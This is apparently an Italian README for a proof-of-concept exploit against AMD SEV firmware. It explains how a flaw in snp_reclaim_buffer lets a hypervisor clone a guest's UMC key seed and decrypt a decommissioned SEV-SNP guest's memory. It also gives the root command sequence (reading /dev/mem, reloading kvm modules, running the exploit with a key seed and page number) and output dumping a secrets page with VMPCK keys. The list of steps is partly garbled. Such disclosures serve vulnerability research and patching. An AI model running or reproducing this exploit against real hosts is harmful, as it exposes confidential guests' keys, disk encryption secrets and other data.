
Questo repository contiene un exploit per una vulnerabilità nel firmware SEV. L'exploit consente di decrittare memoria arbitraria di un guest SEV-SNP dopo che è stato decommissionato.
Testato sulla versione 1.55.16 (la più recente al momento della stesura).
snp_reclaim_buffer tenta incondizionatamente di riscrivere le modifiche all'RMP anche quando l'indirizzo non è coperto dall'RMP. Se address non è coperto dall'RMP, l'indirizzo della voce RMP page_rmp_paddr non viene mai inizializzato correttamente e rimane al suo valore iniziale di 0. Di conseguenza, il firmware tenta di riscrivere le modifiche della voce RMP all'indirizzo 0. Questo è un problema perché l'indirizzo 0 è coperto dall'RMP e non dovrebbe essere scritto senza ulteriori controlli. Se address è al di fuori dell'area coperta dall'RMP, page_rmp_entry non viene mai inizializzato correttamente e contiene memoria spazzatura proveniente dallo stack. In pratica, questa memoria spazzatura è sempre la stessa.
C'è un commento che mette in guardia esattamente su questo pattern di codice, motivo per cui non sarei sorpreso se non fossi il primo a segnalarlo.
snp_reclaim_buffer viene chiamato con l'indirizzo della pagina di stato dei ring buffer SEV quando l'hypervisor richiede l'uscita dalla modalità ring buffer. Questo indirizzo è controllato dall'attaccante. Ci sono alcuni controlli per questo indirizzo, ma le pagine di default (cioè le pagine al di fuori dell'area coperta dall'RMP) sono esplicitamente consentite.
Possiamo sfruttare questa scrittura all'indirizzo 0 posizionando lì una pagina di contesto del guest. Opportunamente, il primo campo della pagina di contesto del guest è l'UMC key seed, che ha esattamente la stessa dimensione di una voce RMP (entrambi sono di 16 byte). Inducendo il firmware a riscrivere le modifiche all'indirizzo 0, possiamo corrompere l'UMC key seed. La voce RMP non inizializzata che viene scritta è sempre la stessa, quindi anche l'UMC key seed corrotto sarà sempre quasi identico: il conteggio delle sottopagine (9 bit) nella voce RMP non viene scritto, ma tutti gli altri campi sì. Creando ripetutamente nuove pagine di contesto del guest, che avranno ogni volta conteggi iniziali delle sottopagine casuali diversi, possiamo alla fine creare più guest con lo stesso UMC key seed.
Per sfruttare la vulnerabilità possiamo eseguire i seguenti passaggi:
0 per il guest vittima.0 per il guest attaccante.SNP_DBG_ENCRYPT per decrittare la memoria del guest vittima utilizzando la pagina di contesto del guest attaccante. L'operazione riuscirà perché il guest vittima e il guest attaccante condividono lo stesso UMC key seed.Poiché possiamo decrittare la memoria solo dopo che il guest è stato decommissionato, non è possibile creare report di attestazione contraffatti, anche se abbiamo accesso ai segreti del guest. Possiamo creare report di attestazione contraffatti solo se il guest è stato migrato su un altro host prima di essere decommissionato: in questo caso, i segreti (cioè i VMPCK) del guest decommissionato funzioneranno anche sulla nuova istanza migrata.
In pratica, però, molte applicazioni memorizzano altre informazioni sensibili (ad esempio chiavi private, chiavi di crittografia del disco) che possono essere esfiltrate utilizzando questo exploit.
La voce RMP dovrebbe essere riscritta solo se la pagina non era nello stato di default.
root@server:~# hexdump -ve '16/1 "%.2x" "\n"' -n 16 /dev/mem
118402003190020000d0150701000000
root@server:~# dmesg | grep "kvm_amd: Detected secret page"
[ 463.851449] kvm_amd: Detected secret page at pfn 171a24
ccp, kvm e kvm_and:
root@server:~# rmmod kvm_amd kvm ccp && modprobe kvm_amd
root@server:~/firmware-vuln-poc# cargo run -- --umc-key-seed 118402003190020000d0150701000000 --pfn 0x171a24
Finished dev [unoptimized + debuginfo] target(s) in 0.03s
Creating VM with identical UMC key seed
[11, 84, 02, 00, 31, 90, 02, 00, 00, d0, 15, 07, 01, 00, 00, 00]
Raw page:
000: 0300000000000000110fa0000000000000000000000000000000000082837143
020: a41875b10f682aa819bc3a4e6a58d1ffa118d9ac5e6842db09d5b8c8834dc896
040: a35f68f0f4d3d193d423a17072699d2091c6c85e9f9add3a0a4a2ed773844cfa
060: 52667d5345db42dfafdbd77f578a21ebaa6c840d70b02bde02f264f8a774351c
080: 17aedc1fca84e0f682ffd9b4f9da53f8c5372d224d481614d0205ee3413427a8
0a0: 0000000000000000000000000000000000000000000000000000000000000000
0c0: 0000000000000000000000000000000000000000000000000000000000000000
0e0: 0000000000000000000000000000000000000000000000000000000000000000
100: 000000000080008800000000eeff0000f0ffffffffffffffff3f000000000000
120: 0000000000000000000000000000000000000000000000000000000000000000
140: 0000000000000000000000000000000000000000000000000000000000000000
160: c800000000000000000000000000000000000000000000000000000000000000
180: 0000000000000000000000000000000000000000000000000000000000000000
1a0: 0000000000000000000000000000000000000000000000000000000000000000
1c0: 0000000000000000000000000000000000000000000000000000000000000000
1e0: 0000000000000000000000000000000000000000000000000000000000000000
200: 0000000000000000000000000000000000000000000000000000000000000000
220: 0000000000000000000000000000000000000000000000000000000000000000
240: 0000000000000000000000000000000000000000000000000000000000000000
260: 0000000000000000000000000000000000000000000000000000000000000000
280: 0000000000000000000000000000000000000000000000000000000000000000
2a0: 0000000000000000000000000000000000000000000000000000000000000000
2c0: 0000000000000000000000000000000000000000000000000000000000000000
2e0: 0000000000000000000000000000000000000000000000000000000000000000
300: 0000000000000000000000000000000000000000000000000000000000000000
320: 0000000000000000000000000000000000000000000000000000000000000000
340: 0000000000000000000000000000000000000000000000000000000000000000
360: 0000000000000000000000000000000000000000000000000000000000000000
380: 0000000000000000000000000000000000000000000000000000000000000000
3a0: 0000000000000000000000000000000000000000000000000000000000000000
3c0: 0000000000000000000000000000000000000000000000000000000000000000
3e0: 0000000000000000000000000000000000000000000000000000000000000000
400: 0000000000000000000000000000000000000000000000000000000000000000
420: 0000000000000000000000000000000000000000000000000000000000000000
440: 0000000000000000000000000000000000000000000000000000000000000000
460: 0000000000000000000000000000000000000000000000000000000000000000
480: 0000000000000000000000000000000000000000000000000000000000000000
4a0: 0000000000000000000000000000000000000000000000000000000000000000
4c0: 0000000000000000000000000000000000000000000000000000000000000000
4e0: 0000000000000000000000000000000000000000000000000000000000000000
500: 0000000000000000000000000000000000000000000000000000000000000000
520: 0000000000000000000000000000000000000000000000000000000000000000
540: 0000000000000000000000000000000000000000000000000000000000000000
560: 0000000000000000000000000000000000000000000000000000000000000000
580: 0000000000000000000000000000000000000000000000000000000000000000
5a0: 0000000000000000000000000000000000000000000000000000000000000000
5c0: 0000000000000000000000000000000000000000000000000000000000000000
5e0: 0000000000000000000000000000000000000000000000000000000000000000
600: 0000000000000000000000000000000000000000000000000000000000000000
620: 0000000000000000000000000000000000000000000000000000000000000000
640: 0000000000000000000000000000000000000000000000000000000000000000
660: 0000000000000000000000000000000000000000000000000000000000000000
680: 0000000000000000000000000000000000000000000000000000000000000000
6a0: 0000000000000000000000000000000000000000000000000000000000000000
6c0: 0000000000000000000000000000000000000000000000000000000000000000
6e0: 0000000000000000000000000000000000000000000000000000000000000000
700: 0000000000000000000000000000000000000000000000000000000000000000
720: 0000000000000000000000000000000000000000000000000000000000000000
740: 0000000000000000000000000000000000000000000000000000000000000000
760: 0000000000000000000000000000000000000000000000000000000000000000
780: 0000000000000000000000000000000000000000000000000000000000000000
7a0: 0000000000000000000000000000000000000000000000000000000000000000
7c0: 0000000000000000000000000000000000000000000000000000000000000000
7e0: 0000000000000000000000000000000000000000000000000000000000000000
800: 0000000000000000000000000000000000000000000000000000000000000000
820: 0000000000000000000000000000000000000000000000000000000000000000
840: 0000000000000000000000000000000000000000000000000000000000000000
860: 0000000000000000000000000000000000000000000000000000000000000000
880: 0000000000000000000000000000000000000000000000000000000000000000
8a0: 0000000000000000000000000000000000000000000000000000000000000000
8c0: 0000000000000000000000000000000000000000000000000000000000000000
8e0: 0000000000000000000000000000000000000000000000000000000000000000
900: 0000000000000000000000000000000000000000000000000000000000000000
920: 0000000000000000000000000000000000000000000000000000000000000000
940: 0000000000000000000000000000000000000000000000000000000000000000
960: 0000000000000000000000000000000000000000000000000000000000000000
980: 0000000000000000000000000000000000000000000000000000000000000000
9a0: 0000000000000000000000000000000000000000000000000000000000000000
9c0: 0000000000000000000000000000000000000000000000000000000000000000
9e0: 0000000000000000000000000000000000000000000000000000000000000000
a00: 0000000000000000000000000000000000000000000000000000000000000000
a20: 0000000000000000000000000000000000000000000000000000000000000000
a40: 0000000000000000000000000000000000000000000000000000000000000000
a60: 0000000000000000000000000000000000000000000000000000000000000000
a80: 0000000000000000000000000000000000000000000000000000000000000000
aa0: 0000000000000000000000000000000000000000000000000000000000000000
ac0: 0000000000000000000000000000000000000000000000000000000000000000
ae0: 0000000000000000000000000000000000000000000000000000000000000000
b00: 0000000000000000000000000000000000000000000000000000000000000000
b20: 0000000000000000000000000000000000000000000000000000000000000000
b40: 0000000000000000000000000000000000000000000000000000000000000000
b60: 0000000000000000000000000000000000000000000000000000000000000000
b80: 0000000000000000000000000000000000000000000000000000000000000000
ba0: 0000000000000000000000000000000000000000000000000000000000000000
bc0: 0000000000000000000000000000000000000000000000000000000000000000
be0: 0000000000000000000000000000000000000000000000000000000000000000
c00: 0000000000000000000000000000000000000000000000000000000000000000
c20: 0000000000000000000000000000000000000000000000000000000000000000
c40: 0000000000000000000000000000000000000000000000000000000000000000
c60: 0000000000000000000000000000000000000000000000000000000000000000
c80: 0000000000000000000000000000000000000000000000000000000000000000
ca0: 0000000000000000000000000000000000000000000000000000000000000000
cc0: 0000000000000000000000000000000000000000000000000000000000000000
ce0: 0000000000000000000000000000000000000000000000000000000000000000
d00: 0000000000000000000000000000000000000000000000000000000000000000
d20: 0000000000000000000000000000000000000000000000000000000000000000
d40: 0000000000000000000000000000000000000000000000000000000000000000
d60: 0000000000000000000000000000000000000000000000000000000000000000
d80: 0000000000000000000000000000000000000000000000000000000000000000
da0: 0000000000000000000000000000000000000000000000000000000000000000
dc0: 0000000000000000000000000000000000000000000000000000000000000000
de0: 0000000000000000000000000000000000000000000000000000000000000000
e00: 0000000000000000000000000000000000000000000000000000000000000000
e20: 0000000000000000000000000000000000000000000000000000000000000000
e40: 0000000000000000000000000000000000000000000000000000000000000000
e60: 0000000000000000000000000000000000000000000000000000000000000000
e80: 0000000000000000000000000000000000000000000000000000000000000000
ea0: 0000000000000000000000000000000000000000000000000000000000000000
ec0: 0000000000000000000000000000000000000000000000000000000000000000
ee0: 0000000000000000000000000000000000000000000000000000000000000000
f00: 0000000000000000000000000000000000000000000000000000000000000000
f20: 0000000000000000000000000000000000000000000000000000000000000000
f40: 0000000000000000000000000000000000000000000000000000000000000000
f60: 0000000000000000000000000000000000000000000000000000000000000000
f80: 0000000000000000000000000000000000000000000000000000000000000000
fa0: 0000000000000000000000000000000000000000000000000000000000000000
fc0: 0000000000000000000000000000000000000000000000000000000000000000
fe0: 0000000000000000000000000000000000000000000000000000000000000000
Secrets page:
imi_en: false
FMS: 00a00f11
gosvw: 00000000000000000000000082837143
vmpck0: a41875b10f682aa819bc3a4e6a58d1ffa118d9ac5e6842db09d5b8c8834dc896
vmpck1: a35f68f0f4d3d193d423a17072699d2091c6c85e9f9add3a0a4a2ed773844cfa
vmpck2: 52667d5345db42dfafdbd77f578a21ebaa6c840d70b02bde02f264f8a774351c
vmpck3: 17aedc1fca84e0f682ffd9b4f9da53f8c5372d224d481614d0205ee3413427a8
VMSA tweak bitmap: 000000000080008800000000eeff0000f0ffffffffffffffff3f0000000000000000000000000000000000000000000000000000000000000000000000000000
tsc_factor: 200